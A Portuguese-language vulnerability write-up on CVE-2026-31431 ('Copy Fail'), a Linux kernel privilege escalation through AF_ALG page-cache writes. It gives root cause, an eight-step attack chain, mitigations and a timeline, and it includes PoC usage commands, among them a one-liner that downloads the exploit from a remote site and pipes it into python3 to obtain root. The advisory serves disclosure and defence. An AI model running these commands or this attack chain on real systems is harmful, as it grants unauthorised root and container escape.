
Prova de conceito de exploit para CVE-2026-31431, uma escalada local de privilégios no kernel Linux por meio de escrita no cache de páginas do AF_ALG, alcançando root nas principais distribuições.
algif_aead ("Copy Fail")
Autor: Van Glenndon Enad
Descoberta Original: Theori / Xint Code Research Team (Taeyang Lee)
Publicado: 29 de abril de 2026
Severidade: Alta
Pontuação CVSS v3.1: 7.8
Vetor CVSS v3.1: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-787 (Gravação Fora dos Limites), CWE-269 (Gerenciamento Inadequado de Privilégios)
CVE-2026-31431, apelidada publicamente de "Copy Fail", é uma vulnerabilidade de escalada de privilégios local (LPE) de alta severidade no módulo algif_aead do kernel Linux — a interface de cifra AEAD da API criptográfica de espaço de usuário do kernel (AF_ALG). A falha origina-se de uma otimização de desempenho (operação in-place) introduzida em 2017 através do commit 72548b093ee3, que inadvertidamente permitiu que páginas de arquivo com suporte no page cache fossem colocadas no scatterlist de destino gravável durante uma operação criptográfica AEAD.
Ao encadear três subsistemas do kernel — sockets AF_ALG, a chamada de sistema splice() e o comportamento de gravação temporária (scratch) do algoritmo authencesn — um usuário local sem privilégios pode realizar uma gravação controlada de 4 bytes no page cache de qualquer arquivo legível. Tendo como alvo um binário setuid como /usr/bin/su, essa gravação corrompe a imagem executável em memória sem modificar o arquivo em disco, contornando assim ferramentas de integridade de arquivos em disco. A escalada de privilégios resultante para root é determinística — sem condição de corrida, sem offsets de kernel específicos por distribuição e sem privilégios especiais. Um exploit PoC público em Python de 732 bytes entrega shells de root no Ubuntu, Amazon Linux, RHEL e SUSE em uma única execução sem modificações.
A vulnerabilidade esteve silenciosamente presente em todas as principais distribuições Linux por quase nove anos. De acordo com a Theori, o AF_ALG está habilitado na configuração padrão do kernel de praticamente todas as distribuições, o que significa que nenhum flag de compilação ou configuração especial é necessário para que um sistema seja vulnerável.
O kernel Linux expõe primitivas criptográficas ao espaço de usuário através da interface de socket AF_ALG (crypto/algif_aead.c). Em 2017, uma otimização de desempenho foi incorporada, permitindo que o algif_aead realizasse operações AEAD in-place — reutilizando o buffer de memória de origem como destino — para evitar cópias desnecessárias de dados.
A falha emerge quando o espaço de usuário alimenta a entrada no socket AF_ALG através da chamada de sistema splice(). Nesse caso, as páginas colocadas no scatterlist de origem são páginas do page cache — memória compartilhada gerenciada pelo kernel que dá suporte ao arquivo usado no splice. Devido à otimização in-place que define req->src = req->dst, essas páginas do page cache acabam no scatterlist de destino gravável. O algoritmo authencesn subsequentemente realiza uma gravação temporária em dst[assoclen + cryptlen], que resolve para um offset dentro dessas páginas do page cache — efetivamente gravando dados controlados pelo atacante na imagem em memória do arquivo usado no splice.
Como o page cache é compartilhado em todo o host, incluindo contêineres, uma gravação de um processo afeta as páginas em cache desse arquivo para todos os processos e contêineres no mesmo kernel.
A alteração problemática em algif_aead.c definiu req->src = req->dst e encadeou páginas de tag do scatterlist de origem no scatterlist de saída via sg_chain():
/* Otimização in-place de 2017 — commit 72548b093ee3 */
req->src = req->dst; /* origem == destino */
sg_chain(dst, n + 1, src_tag); /* páginas de tag encadeadas no dst gravável */
Quando splice() é usado para alimentar um arquivo no socket, as páginas do scatterlist têm suporte no page cache, não em memória anônima privada. Encadeá-las no scatterlist dst gravável viola a suposição de que o destino é memória privada gravável.
authencesnO template authencesn grava um valor temporário de número de sequência (seqno_lo, bytes 4–7 do AAD) em dst[assoclen + cryptlen]. Como dst agora contém páginas do page cache do arquivo usado no splice, essa gravação atinge um offset controlado pelo atacante dentro da imagem em memória do arquivo:
/* Gravação temporária do authencesn — offset determinado por assoclen + cryptlen */
scatterwalk_map_and_copy(seqno, dst,
req->assoclen + req->cryptlen,
sizeof(seqno), 1); /* grava no page cache */
Os 4 bytes gravados correspondem a seqno_lo, que o atacante controla através do payload AAD enviado via sendmsg().
Socket AF_ALG (SOCK_SEQPACKET)
│
│ splice() — entrega páginas com suporte em arquivo ao socket
▼
Otimização in-place do algif_aead
│ req->src = req->dst
│ páginas do page cache entram no scatterlist gravável
▼
Gravação temporária do authencesn
│ grava seqno_lo em dst[assoclen + cryptlen]
│ = 4 bytes escolhidos pelo atacante em offset de arquivo escolhido
▼
Corrupção do page cache (sem alteração em disco)
A correção (a664bf3d603d) reverte completamente a otimização in-place — o algif_aead agora sempre opera out-of-place, alocando um buffer de destino separado. Como origem e destino agora vêm de mapeamentos diferentes, as páginas do page cache em src nunca podem ser alcançadas pelo caminho de gravação de dst.
Notavelmente ausentes dos pré-requisitos: acesso à rede, recursos de depuração do kernel, CAP_SYS_ADMIN, módulos de kernel pré-carregados ou quaisquer primitivas pré-existentes. A superfície de ataque é inteiramente local e autossuficiente.
Passo 1: O atacante abre um socket AEAD AF_ALG (SOCK_SEQPACKET)
│ carrega automaticamente o módulo algif_aead; sem necessidade de root
▼
Passo 2: O atacante abre o binário setuid alvo (ex.: /usr/bin/su) para leitura
│ apenas permissão de leitura necessária
▼
Passo 3: splice() transfere páginas do arquivo alvo para o socket AF_ALG
│ páginas do page cache agora no scatterlist de origem
▼
Passo 4: A otimização in-place dispara: req->src = req->dst
│ páginas do page cache entram no scatterlist de destino gravável
▼
Passo 5: O caminho de descriptografia do authencesn realiza gravação temporária em dst[assoclen + cryptlen]
│ o atacante controla assoclen, cryptlen e o valor de 4 bytes seqno_lo
▼
Passo 6: Sobrescrita controlada de 4 bytes atinge o page cache de /usr/bin/su
│ o binário em memória é corrigido; o arquivo em disco permanece inalterado
▼
Passo 7: O atacante executa `su` — a imagem corrompida em memória roda como root
│ o bit setuid é preservado; o kernel executa o código corrigido pelo atacante
▼
Passo 8: Shell de root obtido — escalada de privilégios completa
Em ambientes de contêiner, o Passo 6 propaga a corrupção do page cache para o host e para todos os contêineres irmãos que compartilham o mesmo kernel, permitindo uma fuga completa de contêiner.
O PoC (copy_fail_exp.py, 732 bytes) usa apenas módulos da biblioteca padrão do Python 3.10+: os, socket e zlib. O exploit constrói e envia um payload sendmsg() precisamente elaborado para o socket AF_ALG após preparar as páginas do arquivo via splice().
/usr/bin/suO PoC padrão tem como alvo /usr/bin/su. A gravação de 4 bytes corrige uma instrução específica na página em cache do binário ELF — substituindo uma ramificação de verificação de privilégio ou verificação de uid por um no-op ou salto incondicional — de modo que, quando su é subsequentemente executado, o ambiente de execução setuid roda o código corrigido como root. A corrupção é não persistente: uma evicção de página ou reinicialização restaura o binário original.
Diferentemente de ataques típicos ao page cache (ex.: Dirty COW), o Copy Fail não requer condição de corrida. O caminho de gravação é linear: splice() → sendmsg() → gravação temporária. Cada chamada é determinística e síncrona, tornando o exploit altamente confiável entre hardwares, versões de kernel e distribuições.
Aviso: Este PoC é fornecido apenas para fins educacionais, de pesquisa e de testes autorizados. Não o use contra qualquer sistema que você não possua ou para o qual não tenha permissão explícita por escrito para testar.
O PoC canônico é mantido pela Theori no repositório oficial. É um script autossuficiente de 732 bytes em Python 3.10+ sem dependências externas.
Uso padrão (alvo /usr/bin/su):
python3 copy_fail_exp.py
Alvo setuid personalizado:
python3 copy_fail_exp.py /usr/bin/sudo
One-liner (do site oficial):
curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
SHA256 do PoC canônico:
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
O mesmo script sem modificações foi demonstrado publicamente obtendo shells de root no Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 e SUSE 16 em uma única sessão tmux.
O vetor de impacto mais crítico são ambientes multi-tenant: máquinas de desenvolvimento compartilhadas, nós de trabalho Kubernetes, runners self-hosted do GitHub Actions, agentes CI do GitLab/Jenkins, plataformas de hospedagem de notebooks e ambientes serverless onde código fornecido pelo usuário roda sob uma conta de usuário comum. Qualquer ambiente desse tipo executando um kernel sem correção é totalmente comprometido por qualquer usuário que possa executar código.
Atualize o kernel para uma versão contendo o commit de correção mainline a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5:
Desabilite o módulo de kernel algif_aead para bloquear o caminho de ataque em sua origem:
# Persistir o bloqueio entre reinicializações
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# Descarregar o módulo do kernel em execução (se carregado)
rmmod algif_aead
O que isso quebra: Isso não afeta dm-crypt/LUKS, kTLS, IPsec/XFRM, SSH ou OpenSSL/GnuTLS/NSS padrão. Pode afetar aplicações de espaço de usuário que usam explicitamente o engine
afalgdo OpenSSL ou que fazem bind direto de socketsaead. Verifique comlsof | grep AF_ALGantes de aplicar.
AF_ALG via seccomp independentemente do estado do patch — adicione SOCK_SEQPACKET + AF_ALG à lista de negação no seu perfil seccomp.AF_ALG.AF_ALG SOCK_SEQPACKET — este é o primeiro passo obrigatório do exploit.su/sudo combinadas com uso de socket AF_ALG como sinal comportamental.Aviso Legal: Esta análise e prova de conceito são publicadas estritamente para fins educacionais, de pesquisa e de segurança defensiva. O autor não endossa acesso não autorizado a sistemas de computador. Sempre obtenha permissão explícita por escrito antes de conduzir testes de segurança contra qualquer sistema que você não possua.
| Componente | Detalhes |
|---|
| Subsistema Afetado | crypto/algif_aead.c — interface AEAD AF_ALG do kernel Linux |
| Vulnerabilidade Introduzida | Kernel Linux 4.14 (2017), commit 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 |
| Versões Corrigidas | 6.18.22, 6.19.12, 7.0 |
| Commit da Correção | a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 |
| Distribuições Verificadas | Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1, SUSE 16 |
| Afetadas Implicitamente | Debian, Arch, Fedora, Rocky, AlmaLinux, Oracle Linux e qualquer distribuição executando um kernel sem correção compilado desde 2017 |
| Requisito | Observações |
|---|
| Conta de usuário local sem privilégios | Nenhuma permissão elevada necessária |
| Kernel compilado a partir de 2017 (≥ 4.14) | Cobre efetivamente todas as distribuições mainstream |
AF_ALG (CONFIG_CRYPTO_USER_API) habilitado | Padrão em praticamente todas as configurações de kernel de distribuições |
Módulo algif_aead carregável/carregado | Carregado automaticamente na primeira criação de socket AF_ALG |
Pelo menos um binário setuid legível | Ex.: /usr/bin/su, /usr/bin/sudo |
| Python 3.10+ (para o PoC público) | Apenas os, socket, zlib da biblioteca padrão |
| Parâmetro | Controle do Atacante | Mecanismo |
|---|
| Arquivo alvo | Qualquer arquivo legível pelo atacante | Passado para splice() |
| Offset de gravação | assoclen + cryptlen | Definido via opções de socket em sendmsg() |
| Valor gravado (4 bytes) | seqno_lo | Bytes 4–7 do payload AAD em sendmsg() |
| Categoria | Descrição |
|---|
| Confidencialidade | Acesso total de leitura a todos os arquivos do host como root |
| Integridade | Capacidade de gravar arquivos arbitrários, instalar backdoors, modificar /etc/passwd ou /etc/shadow |
| Disponibilidade | Tomada completa do host; interrupção de serviço possível |
| Autenticação | Nenhuma credencial necessária além de uma conta de usuário local |
| Fuga de Contêiner | O page cache é compartilhado em todo o host — um pod com shell local pode comprometer o nó e cruzar fronteiras de tenant |
| Pipeline CI/CD | Um pull request não confiável executado em um runner self-hosted torna-se root no host do runner |
| Persistência | Pós-exploração: injeção de chaves SSH, cron jobs, instalação de módulos de kernel — tudo trivialmente alcançável |
| Evasão Forense | O binário em disco nunca é modificado; monitores de integridade de arquivos (FIM), AIDE, Tripwire não veem nenhuma alteração |
| Distribuição | Versão de Kernel Corrigida |
|---|
| Linux Upstream | 6.18.22, 6.19.12, 7.0 |
| Ubuntu 24.04 LTS | Patch do fornecedor disponível — apt update && apt upgrade |
| Amazon Linux 2023 | Patch do fornecedor disponível — dnf update kernel |
| RHEL 10.1 | Patch da Red Hat em andamento — AlmaLinux enviou a correção upstream |
| SUSE 16 | Patch do fornecedor disponível — zypper update kernel-default |
| Data | Evento |
|---|
| 2026-03-23 | Vulnerabilidade reportada à equipe de segurança do kernel Linux pela Theori |
| 2026-03-24 | Confirmação inicial recebida |
| 2026-03-25 | Patch proposto e revisado pelos mantenedores do kernel |
| 2026-04-01 | Correção commitada no mainline (a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431 atribuída |
| 2026-04-29 | Divulgação pública em copy.fail; PoC publicado no GitHub |
| 2026-04-30 | AlmaLinux envia kernel corrigido usando a correção upstream |
| 2026-04-30 | Blog de segurança da Microsoft, Sophos, Sysdig, Bugcrowd publicam análises |
| 2026-05-01 | PoC de fuga de contêiner Kubernetes publicado |
| 2026-05-02 | Análise e documentação independentes publicadas |